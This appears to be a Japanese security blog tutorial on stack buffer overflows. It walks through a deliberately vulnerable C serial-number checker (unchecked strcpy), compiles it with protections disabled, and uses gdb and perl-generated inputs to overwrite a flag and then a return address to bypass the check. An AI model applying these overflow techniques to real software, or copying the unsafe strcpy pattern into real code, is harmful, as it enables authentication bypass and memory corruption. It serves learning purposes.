Security Record

セキュリティ全般に関する情報を発信しています

C言語でバッファオーバーフローのテストをする方法

サンプルコード

以下のサンプルコードを用いてバッファオーバーフローのテストをしてみました。
シリアルナンバー「SN123456」と一致すれば、「Serial number is correct.」と表示され、違っていた場合は「Serial number is worng.」と表示される至ってシンプルなソースコードです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_serial(char *serial) {
    int flag = 0;
    char serial_buff[16];
    strcpy(serial_buff, serial);
    if (strcmp(serial_buff, "SN123456") == 0) flag = 1;

    return flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Enter serial number!\n", argv[0]);
        exit(0);
    }

    if (check_serial(argv[1])){
        printf("Serial number is correct.\n");
    } else {
        printf("Serial number is worng.\n");
    }
}

gccでコンパイルを実行する

-fno-stack-protectorオプションを付与して、スタックガードを無効化します。
スタックガードとはオーバーフローからプログラムを守るための技術のようです。
また、-z execstackオプションを付与することによって、スタック領域内のデータ実行を許可します。
上記オプションを付与することでバッファオーバーフローの検証が行えるようになります。

┌──(root㉿kali)-[/home/…/sf_VMshare/hacking/c_lang/bypass]
└─# gcc -fno-stack-protector -z execstack -g -o bypass bypass.c

-fno-stack-protectorオプションと-z execstackオプションを付与した状態でコンパイルを実行する。

どこに脆弱性があるか確認する

今回のサンプルコードでバッファオーバーフローの要となるのはstrcpy関数です。 strcpy(serial_buff, serial);により16バイト分の文字列が確保されていますが、16バイトを超えた場合の検証がプログラム内で行われていません。
そのため、引数にシリアルナンバーを何文字でも指定することが出来てしまいます。

デバッガでメモリの中身を確認する

デバッガを起動してシリアルにAAAAAAAAAAとAを10回入力した状態で実行しました。 そのあと32ワード(128バイト)分の番地を表示させています。

┌──(root㉿kali)-[/path/to/]
└─# gdb bypass                                                 
(gdb) break bypass.c:8
Breakpoint 1 at 0x118c: file bypass.c, line 8.
(gdb) run AAAAAAAAAA
Starting program: /path/to/bypass AAAAAAAAAA

Breakpoint 1, check_serial (serial=0x7fffffffe507 "AAAAAAAAAA") at bypass.c:8
8       strcpy(serial_buff, serial);
(gdb) next
9       if (strcmp(serial_buff, "SN123456") == 0) flag = 1;
(gdb) x/x serial_buff
0x7fffffffe160: 0x41414141
(gdb) x/x &flag
0x7fffffffe17c: 0x00000000
(gdb) print 0x7fffffffe17c-0x7fffffffe160
$1 = 28 #アドレスの差分を計算する
(gdb) x/32xw $rsp
0x7fffffffe150: 0x00000000  0x000000ff  0xffffe58c  0x00007fff
0x7fffffffe160: 0x41414141  0x41414141  0x00737300  0x41414141
0x7fffffffe170: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffe180: 0xffffe1a0  0x00007fff  0x55555215  0x00005555
0x7fffffffe190: 0xffffe2b8  0x00007fff  0x00000000  0x00000002
0x7fffffffe1a0: 0x00000002  0x00000000  0xf7dec6ca  0x00007fff
0x7fffffffe1b0: 0x00000000  0x00000000  0x555551c5  0x00005555
0x7fffffffe1c0: 0x00000000  0x00000002  0xffffe2b8  0x00007fff

変数の上書きによるバッファオーバーフロー

スタックの破壊によって変数を上書きする

serialが28バイトを超えた時点からflagの値が上書きされて、 不正なシリアルなのにも関わらず、Serial number is correct.と表示されています。

これは先程デバッガで、アドレスの差分を求めた際の値に一致します。
flag変数のアドレスからserial_buff変数の先頭アドレスの差分を計算した結果が28バイトとなっています。

実行結果の確認

┌──(root㉿kali)-[/path/to/bypass]
└─# ./bypass $(perl -e 'print "A"x28')                  
Serial number is worng.

Aを28回入力:Serial number is worng.と表示される。

┌──(root㉿kali)-[/path/to/bypass]
└─# ./bypass $(perl -e 'print "A"x29')
Serial number is correct.

Aを29回入力:Serial number is correct.と表示される。

┌──(root㉿kali)-[/path/to/bypass]
└─# ./bypass $(perl -e 'print "A"x30')
Serial number is correct.

Aを30回入力:Serial number is correct.と表示される。

┌──(root㉿kali)-[/path/to/bypass]
└─# ./bypass $(perl -e 'print "A"x31')
Serial number is correct.

Aを31回入力:Serial number is correct.と表示される。

┌──(root㉿kali)-[/path/to/bypass]
└─# ./bypass $(perl -e 'print "A"x32')
Serial number is correct.
zsh: segmentation fault  ./bypass $(perl -e 'print "A"x32')

Aを32回入力:zsh: segmentation fault と表示される。
※入力する文字数が多すぎると余計なところまで上書きしてしまい、 zsh: segmentation faultと表示されます。

戻り番地変更によるバッファオーバーフロー

先程はflag変数を上書きすることでシリアル番号の認証をバイパスしましたが、 次に戻り番地を変更する事によるバッファオーバーフローを試してみます。 flag変数の上書きではなく、戻り番地を書き換える事によって、if分そのものをスルーします。

サンプルコードを一部抜粋

今回は変数の上書きではなく、if分の条件判定をしないでprint()関数へ渡すようにテストしてみます。

    if (check_serial(argv[1])){ //ここの条件判定をスルーさせる
        printf("Serial number is correct.\n"); 
    } 

disassコマンドでmain関数を逆アセンブルする

┌──(root㉿kali)-[/path/to/bypass]
└─# gdb bypass
(gdb) break bypass.c:8
Breakpoint 1 at 0x118c: file bypass.c, line 8.
(gdb) run AAAA
Starting program:/path/to/bypass AAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_serial (serial=0x7fffffffe590 "AAAA") at bypass.c:8
8       strcpy(serial_buff, serial);
(gdb) next
9       if (strcmp(serial_buff, "SN123456") == 0) flag = 1;

#disass でmain関数を逆アセンブル
(gdb) disass main
Dump of assembler code for function main:
   0x00005555555551c5 <+0>:   push   %rbp
   0x00005555555551c6 <+1>:   mov    %rsp,%rbp
   0x00005555555551c9 <+4>:   sub    $0x10,%rsp
   0x00005555555551cd <+8>:   mov    %edi,-0x4(%rbp)
   0x00005555555551d0 <+11>:  mov    %rsi,-0x10(%rbp)
   0x00005555555551d4 <+15>:  cmpl   $0x1,-0x4(%rbp)
   0x00005555555551d8 <+19>:  jg     0x555555555202 <main+61>
   0x00005555555551da <+21>:  mov    -0x10(%rbp),%rax
   0x00005555555551de <+25>:  mov    (%rax),%rax
   0x00005555555551e1 <+28>:  mov    %rax,%rsi
   0x00005555555551e4 <+31>:  lea    0xe22(%rip),%rax        # 0x55555555600d
   0x00005555555551eb <+38>:  mov    %rax,%rdi
   0x00005555555551ee <+41>:  mov    $0x0,%eax
   0x00005555555551f3 <+46>:  call   0x555555555050 <printf@plt>
   0x00005555555551f8 <+51>:  mov    $0x0,%edi
   0x00005555555551fd <+56>:  call   0x555555555070 <exit@plt>
   0x0000555555555202 <+61>:  mov    -0x10(%rbp),%rax
   0x0000555555555206 <+65>:  add    $0x8,%rax
   0x000055555555520a <+69>:  mov    (%rax),%rax
   0x000055555555520d <+72>:  mov    %rax,%rdi
   0x0000555555555210 <+75>:  call   0x555555555179 <check_serial>
   0x0000555555555215 <+80>:  test   %eax,%eax
   0x0000555555555217 <+82>:  je     0x55555555522a <main+101>
   0x0000555555555219 <+84>:  lea    0xe03(%rip),%rax        # 0x555555556023
   0x0000555555555220 <+91>:  mov    %rax,%rdi
   0x0000555555555223 <+94>:  call   0x555555555040 <puts@plt>
   0x0000555555555228 <+99>:  jmp    0x555555555239 <main+116>
   0x000055555555522a <+101>: lea    0xe0c(%rip),%rax        # 0x55555555603d
   0x0000555555555231 <+108>: mov    %rax,%rdi
   0x0000555555555234 <+111>: call   0x555555555040 <puts@plt>
   0x0000555555555239 <+116>: mov    $0x0,%eax
   0x000055555555523e <+121>: leave
   0x000055555555523f <+122>: ret
End of assembler dump.

逆アセンブルしたソースコードのポイント

   0x0000555555555215 <+80>:   test   %eax,%eax
   0x0000555555555217 <+82>:  je     0x55555555522a <main+101>
   0x0000555555555219 <+84>:  lea    0xe03(%rip),%rax        # 0x555555556023

test は条件式を表し、C言語だとif (check_serial(argv[1]))の部分に相当します。 jeはflanの値が0の時最初の行へ移動させます。 次のlea以降でSerial number is correct.と表示させています。

戻り番地を指定する

0x0000555555555219という文字列をバイト列で表すと、\x19\x52\x55\x55\x55\x55\x00\x00となります。戻り番地をここに指定することで条件式をバイパスする事が可能になります。

戻り番地を指定した状態で実行

戻り番地を0x0000555555555219に指定して、bypassを実行します。

┌──(root㉿kali)-[/path/to/bypass/bypass]
└─# ./bypass $(perl -e 'print "A"x32 . "\x19\x52\x55\x55\x55\x55\x00\x00"')

実行結果の確認

Serial number is correct.と表示されました。 無事バイパスに成功したことが分かります。

┌──(root㉿kali)-[/path/to/bypass/bypass]
└─# ./bypass $(perl -e 'print "A"x32 . "\x19\x52\x55\x55\x55\x55\x00\x00"')
Serial number is correct.
zsh: segmentation fault  ./bypass $(perl -e 'print "A"x32 . "\x19\x52\x55\x55\x55\x55\x00\x00"')

まとめ

バッファオーバーフローは知識としては以前から知っていましたが、実際にやった事はなかったので非常に勉強になっています。 引き続きバッファオーバーフローについて深掘りしていけたらと思います。

参考

コンピュータハイジャッキング | 和哉, 酒井 |本 | 通販 | Amazon
バッファオーバーフローの内部的な仕組みが詳しく書かれています。
自分はこの本を切っ掛けにC言語やアセンブリ言語にも興味が湧いてきました。